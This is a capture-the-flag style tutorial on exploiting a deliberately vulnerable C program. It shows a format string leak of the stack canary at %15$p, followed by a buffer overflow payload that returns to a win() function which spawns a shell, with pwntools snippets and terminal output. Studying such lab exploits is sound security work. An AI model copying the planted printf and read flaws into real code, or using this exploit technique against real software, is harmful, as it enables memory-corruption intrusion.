Stack Canary Bypass with Format String Leak

September 8, 2025

Stack Canary Bypass with Format String Leak

Challenge 5: Stack Canary Bypassing with Format String Leak (5_simple.c)

Source Code:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    char friend_name[32] = {0};
    printf("What is your friends name: \n");
    read(0, friend_name, 32);
    printf(friend_name);  // Format string vulnerability

    char name[32] = {0};
    printf("Your name is: \n");
    read(0, name, 256);  // Buffer overflow: 256 bytes into 32-byte buffer
    printf("Hello %s\n", name);
}

int main() {
    vuln();
    return 0;
}

int win() {
    system("/bin/sh");
    return 0;
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -no-pie -Wl,-z,norelro -o bin/5_simple src/5_simple.c

Challenge Overview

The 5_simple.c program demonstrates a stack canary bypass technique using a format string vulnerability to leak the canary value, then using it in a buffer overflow attack. This challenge combines two common vulnerabilities: format string bugs and buffer overflows, showing how they can be chained together for exploitation.

Vulnerability Analysis

Format String Vulnerability

File: src/5_simple.c:7-10

char friend_name[32] = {0};
printf("What is your friends name: \n");
read(0, friend_name, 32);
printf(friend_name);  // Format string vulnerability

The program directly passes user input to printf() without a format specifier. This allows attackers to use format string specifiers like %p, %x, and %s to read arbitrary memory locations from the stack.

Buffer Overflow Vulnerability

File: src/5_simple.c:12-15

char name[32] = {0};
printf("Your name is: \n");
read(0, name, 256);  // Buffer overflow: 256 bytes into 32-byte buffer

The second vulnerability allows 256 bytes to be written into a 32-byte buffer, creating a classic buffer overflow that can overwrite the return address.

Stack Canary Protection

This binary is compiled with stack canaries enabled (no -fno-stack-protector flag), which places a random value between local variables and the return address. If the canary is corrupted, the program terminates with a stack smashing detection error.

Now when we try to overflow the buffer we get the following:

./bin/5_simple
What is your friends name:
%p
0x7fffffffdd50
Your name is:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: terminated

What we now can do is check where the stack canary position on the stack is from that part:

./bin/5_simple
What is your friends name:
 %13$p %14$p %15$p %16$p %17$p %18$p
 0x7ffff7fe5af0 0x7fffffffde80 0x345fa2b0943d0800 0x7fffffffde40 0x7ffff7c2a1ca %Your name is:
Your name is : 18$p
ian@vps:~/pwn/pwnpractice$ ./bin/5_simple
What is your friends name:
%15$p
0x8d484f0e07a36c00
Your name is:

So the 15th position, this is what we first will input

You can always validate this with the gdb command canary it will always end with 00

Exploitation Strategy

The exploit works in two phases:

Phase 1: Canary Leak via Format String

File: solves/5_simple.py:23-38

canary_leak_fmt = b"%15$p"
io.sendlineafter(b"What is your friends name:", canary_leak_fmt)

# Receive until we find the 0x... line
leak = b""
while b"0x" not in leak:
    leak = io.recvline().strip()

canary_value = int(leak, 16)

The %15$p format specifier accesses the 15th parameter on the stack, which happens to be the location of the stack canary. The $ notation allows direct parameter access without consuming previous arguments.

Phase 2: Stack Canary Bypass

File: solves/5_simple.py:40-47

payload = b"A" * 40               # buffer
payload += p64(canary_value)      # stack canary
payload += b"B" * 8               # saved rbp
payload += p64(0x4012aa)          # win function

The payload structure:

  1. 40 bytes: Fill the 32-byte buffer + 8 bytes to reach the canary
  2. 8 bytes: The leaked canary value (prevents stack smashing detection)
  3. 8 bytes: Padding for saved RBP
  4. 8 bytes: Address of win() function (0x4012aa)

Stack Layout Analysis

[name buffer - 32 bytes]
[padding - 8 bytes]
[stack canary - 8 bytes]  <- Position 15 in format string parameters
[saved rbp - 8 bytes]
[return address - 8 bytes]

The format string vulnerability allows us to read the canary at stack position 15, which we then use to construct a valid overflow payload.

Key Learning Points

  1. Format String Parameter Access: Using %n$p notation to directly access stack positions
  2. Canary Location: Understanding where stack canaries are placed relative to local variables
  3. Vulnerability Chaining: Combining multiple vulnerabilities (format string + buffer overflow) for exploitation
  4. Stack Layout: Recognizing the standard x86_64 stack frame structure

Compilation Flags

gcc -Wall -Wextra -Iinclude -g -no-pie -Wl,-z,norelro -o bin/5_simple src/5_simple.c

Security mitigations:

  • Stack canaries enabled (default): Random values protect return address
  • NX bit enabled (default): Stack is not executable
  • ASLR disabled (-no-pie): Predictable addresses for win function
  • RELRO disabled (-Wl,-z,norelro): Global Offset Table is writable

Execution Flow

  1. Program prompts for friend's name
  2. User sends format string payload (%15$p) to leak canary
  3. Program prints canary value from stack position 15
  4. Program prompts for user's name
  5. User sends buffer overflow payload with correct canary value
  6. Stack canary validation passes
  7. Return address is overwritten with win() function address
  8. Shell is spawned via system("/bin/sh")

This challenge demonstrates why format string vulnerabilities are particularly dangerous when combined with other memory corruption bugs, as they can defeat stack protection mechanisms.

-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.